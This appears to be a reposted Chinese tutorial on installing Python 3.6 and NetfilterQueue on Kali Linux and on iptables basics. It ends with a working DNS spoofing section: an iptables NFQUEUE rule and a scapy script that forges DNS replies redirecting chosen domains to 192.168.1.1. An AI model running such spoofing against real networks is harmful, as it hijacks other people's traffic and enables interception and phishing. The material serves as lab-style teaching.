Python-netfilterqueue(白帽)[netfilterqueue怎么安装在kali中?][iptables怎么用]

2023-11-05

一 环境安装

前要:使用python3.6以上版本安装netfilterqueue会出现报错无法安装

1.安装python3.6

前提:本机已有python3.9,在此前提下安装python3.6
问题:中间有什么报错无法进行,一般是小问题,请自行翻译,下载解决

  1. 配置目录:
  • cd /
  • mkdir download
  • cd /download
  • mkdir python3.6
  • cd python3.6
  1. 获取安装包:wget http://www.python.org/ftp/python/3.6.4/Python-3.6.4.tgz #如果嫌弃慢,自行打开网页自行下载,注意名字与后面命令一致
  2. 解压压缩包:tar -zxvf Python-3.6.4.tgz
  3. 配置环境:apt-get install build-essential && apt-get install libssl-dev && apt-get install zlib1g-dev && apt-get install libbz2-dev && apt-get install libreadline-dev && apt-get install libsqlite3-dev && apt-get install libncurses5-dev && apt-get install libncursesw5-dev && apt-get install libffi-dev && apt-get install liblzma-dev && apt-get install python-openssl && apt-get install tk-dev && apt-get install openssl #可以直接复制
  4. 准备编译:cd Python-3.6.4
  5. 最后阶段:./configure --prefix=/download/python3.6 && make && make install #使用这条命令提前创建好文件夹/download,因为编译好的python3.6将会放置于此

验证:在/download/python3.6/bin下输入./python3看看是否能运行python也注意查看版本号

2.安装快捷方式

ln命令解释:linux命令

  1. ln -s /download/python3.6/bin/python3.6 /usr/bin/python3.6 #请确保路径对错,主要是第一个路径,看看其是不是你的python3.6路径
  2. ln -s /download/python3.6/bin/pip3.6 /usr/bin/pip3.6 #请确保路径对错,主要是第一个路径,看看其是不是你的pip3.6路径

3.下载netfilterqueue

前要:无法通过pip下载,就自行手动下载

  1. 寻找名为NetfilterQueue-0.8.1.tar.gz的文件,官网一般都有或者wget https://files.pythonhosted.org/packages/39/c4/8f73f70442aa4094b3c37876c96cddad2c3e74c058f6cd9cb017d37ffac0/NetfilterQueue-0.8.1.tar.gz
  2. 解压 tar -zxvf NetfilterQueue-0.8.1.tar.gz
  3. 配置环境:apt-get install libnetfilter-queue-dev && apt-get install build-essential && apt-get install python3-dev
  4. 进入 cd NetfilterQueue-0.8.1
  5. 安装:python3.6 setup.py install #前提需要cd到解压完后的目录里

二 iptables

前要:其实它就是防火墙能对自己网络中的数据进行拦截丢弃,下面只会初步简单,基于文章学习

1.结构

1.1 表

内容 解释
raw 高级功能例如网址过滤
mangle 可修改数据包
net 用于网关路由器上地址转换
filter 用于防火墙包过滤(不指定表默认就是这个)

1.2 链

内容 解释
INPUT链 处理输入数据包
OUTPUT链 处理输出数据包
FORWARD链 处理转发数据包
PREROUTING链 用于目标地址转换(DNAT)。
POSTOUTING链 用于源地址转换(SNAT)。

常用命令:

  1. -A 追加规则-->iptables -A INPUT
  2. -D 删除规则-->iptables -D INPUT 1(编号)
  3. -R 修改规则-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代现行规则,顺序不变(1是位置)
  4. -I 插入规则-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一条规则,原本位置上的规则将会往后移动一个顺位
  5. -L 查看规则-->iptables -L INPUT 列出规则链中的所有规则
  6. -N 新的规则-->iptables -N allowed 定义新的规则

常用参数:

  1. -p 协议 例:iptables -A INPUT -p tcp
  2. -s 源地址 例:iptables -A INPUT -s 192.168.1.1
  3. -d 目的地址 例:iptables -A INPUT -d 192.168.12.1
  4. -sport 源端口 例:iptables -A INPUT -p tcp --sport 22
  5. -dport 目的端口 例:iptables -A INPUT -p tcp --dport 22
  6. -i 指定入口网卡 例:iptables -A INPUT -i eth0
  7. -o 指定出口网卡 例:iptables -A FORWARD -o eth0
  8. -j 后面添加规则 例:iptables -A OUTPUT -j ACCEPT

1.3 规则

内容 解释
ACCEPT 允许数据包通过。
DROP 直接丢弃数据包,不给任何回应信息,这时候客户端会感觉自己的请求泥牛入海了,过了超时时间才会有反应。
REJECT 拒绝数据包通过,必要时会给数据发送端一个响应的信息,客户端刚请求就会收到拒绝的信息。
SNAT 源地址转换,解决内网用户用同一个公网地址上网的问题。
MASQUERADE 是SNAT的一种特殊形式,适用于动态的、临时会变的ip上。
DNAT 目标地址转换。
REDIRECT 在本机做端口映射。
LOG 在/var/log/messages文件中记录日志信息,然后将数据包传递给下一条规则,也就是说除了记录以外不对数据包做任何其他操作,仍然让下一条规则去匹配。
NFQUEUE 用于将数据包委托给用户态应用程序裁决如何处理数据包

2.实战

  1. 允许访问22端口:iptables -A INPUT -p tcp --dport 22 -j ACCEPT

  2. 允许向外访问:iptables -A OUTPUT -j ACCEPT

  3. 转发的dns服务提交给用户处置代号为0: iptables -I FORWARD -p udp --dport 53 -j NFQUEUE --queue-num 0

  4. 删除所有规则: iptables --flush

3.实用方法

  • 查看所有规则列表:iptables -nvL
  • 清空所有规则:iptables --flush

三.dns欺骗

前要:netfiterqueue官方文档

第一步:iptables -I FORWARD -p udp --dport 53 -j NFQUEUE --queue-num 0在shell中执行该命令,此命令把电脑接收到的网络请求积累起来排成队列,队列编号为0,这样是为了方便让scapy去处理(注意这个FORWARD 是处理你电脑上转发的流量

函数:

  • p.get_payload():获取二进制信息
  • IP(p.get_payload()):获取成scapy里面一样的pkt包
import netfilterqueue
from scapy.all import *
def process(p):
    sp=IP(p.get_payload())
    dns_list = ['www.ak47.com','www.m4a1.com','www.awp.com']
    if sp.haslayer(DNS) and sp.getlayer(DNS).qr == 0:
        ip = sp.getlayer(IP)
        udp = sp.getlayer(UDP)
        dns = sp.getlayer(DNS)
        dns_text=dns.qd.qname.decode()[:-1]
        if dns_text in dns_list:
            a = IP(src=ip.dst,dst=ip.src)
            a/=UDP(sport=udp.dport,dport=udp.sport)
            a/=DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,rdata='192.168.1.1'))
            p.drop()
            send(a)
            print('ok')

    p.accept()

queue =netfilterqueue.NetfilterQueue()
queue.bind(0,process)
queue.run()

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Python-netfilterqueue(白帽)[netfilterqueue怎么安装在kali中?][iptables怎么用] 的相关文章

随机推荐

  • (2)Hibernate实现CRUD

    HibernateUtil package util import org hibernate Session import org hibernate SessionFactory import org hibernate cfg Con
  • Kafka压力测试(官方自带)

    1 Kafka压测 用Kafka官方自带的脚本 对Kafka进行压测 Kafka压测时 可以查看到哪个地方出现了瓶颈 CPU 内存 网络IO 一般都是网络IO达到瓶颈 kafka consumer perf test sh kafka pr
  • Django Orm 查询总结

    Django提供了一套非常方便的类似lingQ的通过对象调用的方式操作数据库表的Orm框架 关于Django Orm的操作方式做下整理 Django Orm 操作主要分为以下几类 增 向表内插入一条数据 删 删除表内数据 物理删除 改 up
  • [leetcode] 1675. 数组的最小偏移量

    题目链接 来源 力扣 LeetCode 链接 https leetcode cn problems minimize deviation in array 著作权归领扣网络所有 商业转载请联系官方授权 非商业转载请注明出处 示例 1 输入
  • AMR 文件解析及编解码流程

    CONTENT AMR简介 AMR 话音质量评定 AMR 文件结构解析 AMR 帧结构解析 AMR 帧读取算法 AMR 解码原理及流程 AMR 模式选择自适应机制 一 AMR 简介 基于新的网络和新的要求 无论是从节省传输频带资源 还是保持
  • Java学习之线程安全问题,关于synchronized 和 Lock 的使用

    1 Lock 解决线程安全问题的方式三 Lock锁 JDK5 0新加 synchronized 与 Lock的区别 相同点 都是解决线程的安全问题 不同点 1 Lock是显示锁 手动开启和关闭锁 synchronized是隐式锁 出了 作用
  • 智能算法系列之遗传算法

    本博客封面由ChatGPT Midjourney共同创作而成 文章目录 前言 1 算法思想 2 细节梳理 2 1 DAN编码 2 2 种群初始化及超参选择 2 3 适应度函数 2 4 选择 交叉 交配 与变异 2 5 终止条件 3 算法实现
  • MDK 出现#68-D: integer conversion resulted in a change of sign

    出现这种情况 原因如下 1 出现了无符号转换成有符号数 但是数据的最高位是符号位 可能会导致数字的值突变 2 有符号数被转换成了无符号数 经常在代码中会定义状态 错误的宏定义 出现 1等等负数 然而程序的返回值类型是 uint8 t uin
  • mfc 窗口初始化以及销毁过程

    1 模式对话框的创建过程 1 DoModal 重载函数 重载DoModal 成员函数 2 PreSubclassWindow 重载函数 允许首先子分类一个窗口 3 OnCreate 消息响应函数 响应WM CREATE消息 发送此消息以告诉
  • 机器学习实战 决策树(附数据集)

    运行环境 Anaconda Jupyter Notebook Python版本为 3 6 6 数据集 lense txt 提取码 9wsp 1 决策树 决策树也是最经常使用的数据挖掘算法 长方形代表判断模块 decision block 椭
  • 网络安全实验室4.注入关

    4 注入关 1 最简单的SQL注入 url http lab1 xseclab com sqli2 3265b4852c13383560327d1c31550b60 index php 查看源代码 登录名为admin 最简单的SQL注入 登
  • Could not autowire. No beans of 'OrderService' type found. less... (Ctrl+F1) Inspection info:Checks

    解决方法 步骤如下 把最后一个 去掉 点击ok就好了 当然还有一点就是 sevice类的前面加上 service注解
  • BRAM资源不够用?不怕!这里有FPGA BRAM省资源小秘招!

    FPGA的BRAM和LUT等资源都是有限的 在FPGA开发过程中 可能经常遇到BRAM或者LUT资源不够用的情况 一般建议BRAM和LUT资源的消耗不要超过80 当然高端一点的FPGA芯片也可以放宽到90 超过这个限制 可能就会出现时序违例
  • wifi中断攻击

    前言 wifi攻击包括wifi中断攻击 wifi密码爆破 wifi钓鱼等 本文章持续更新以上内容 先以wifi中断攻击为始 硬件为ESP8266 还买了一个无线网卡用作后续wifi密码爆破 网上某宝十几块钱就能玩 我买的是带Micro接口
  • Git的简述

    Git 文章目录 Git Git概述 版本控制工具 集中式管理控制工具 分步式管理控制工具 控制机制 Git和代码托管中心 安装Git软件 Git常用命令 Git概述 Git是一个免费的 开源的分步式版本控制系统 可以快速的处理从小型到大型
  • 输入一个url会发生什么事情?

    输入一个url会发生什么事情 1 输入解析 1 1 如果输入的是非url结构的字符串 则会使用默认浏览器的搜多引擎搜索这个字符串 1 2如果输入是url结构的字符串 url将通过进程建通信发送给网络进程 网络进程会进行DNS解析得到对应的I
  • 数据库基础 (关系数据库)

    14 34 属性 表的列 域 属性的范围 笛卡尔积 所有集合所有数X一遍 目或度 关系表属性的数量 候选码 唯一属性标识 主码 主键 外码 外键 主属性 候选码里的都叫主属性 全码 所有属性都是候选码 称为全码 关系的三种形式 基本关系 基
  • 国标GB28181视频监控平台EasyGBS视频无法播放,抓包返回ICMP是什么原因?

    国标GB28181视频平台EasyGBS是基于国标GB T28181协议的行业内安防视频流媒体能力平台 可实现的视频功能包括 实时监控直播 录像 检索与回看 语音对讲 云存储 告警 平台级联等功能 国标GB28181视频监控平台部署简单 可
  • 大数据手册(Spark)--Spark基础知识(PySpark版)

    文章目录 Spark 初始化 弹性分布式数据集 RDD DataFrame Spark安装配置 Spark基本概念 Spark基础知识 PySpark版 Spark机器学习 PySpark版 Spark流数据处理 PySpark版 Spar
  • Python-netfilterqueue(白帽)[netfilterqueue怎么安装在kali中?][iptables怎么用]

    一 环境安装 前要 使用python3 6以上版本安装netfilterqueue会出现报错无法安装 1 安装python3 6 前提 本机已有python3 9 在此前提下安装python3 6 问题 中间有什么报错无法进行 一般是小问题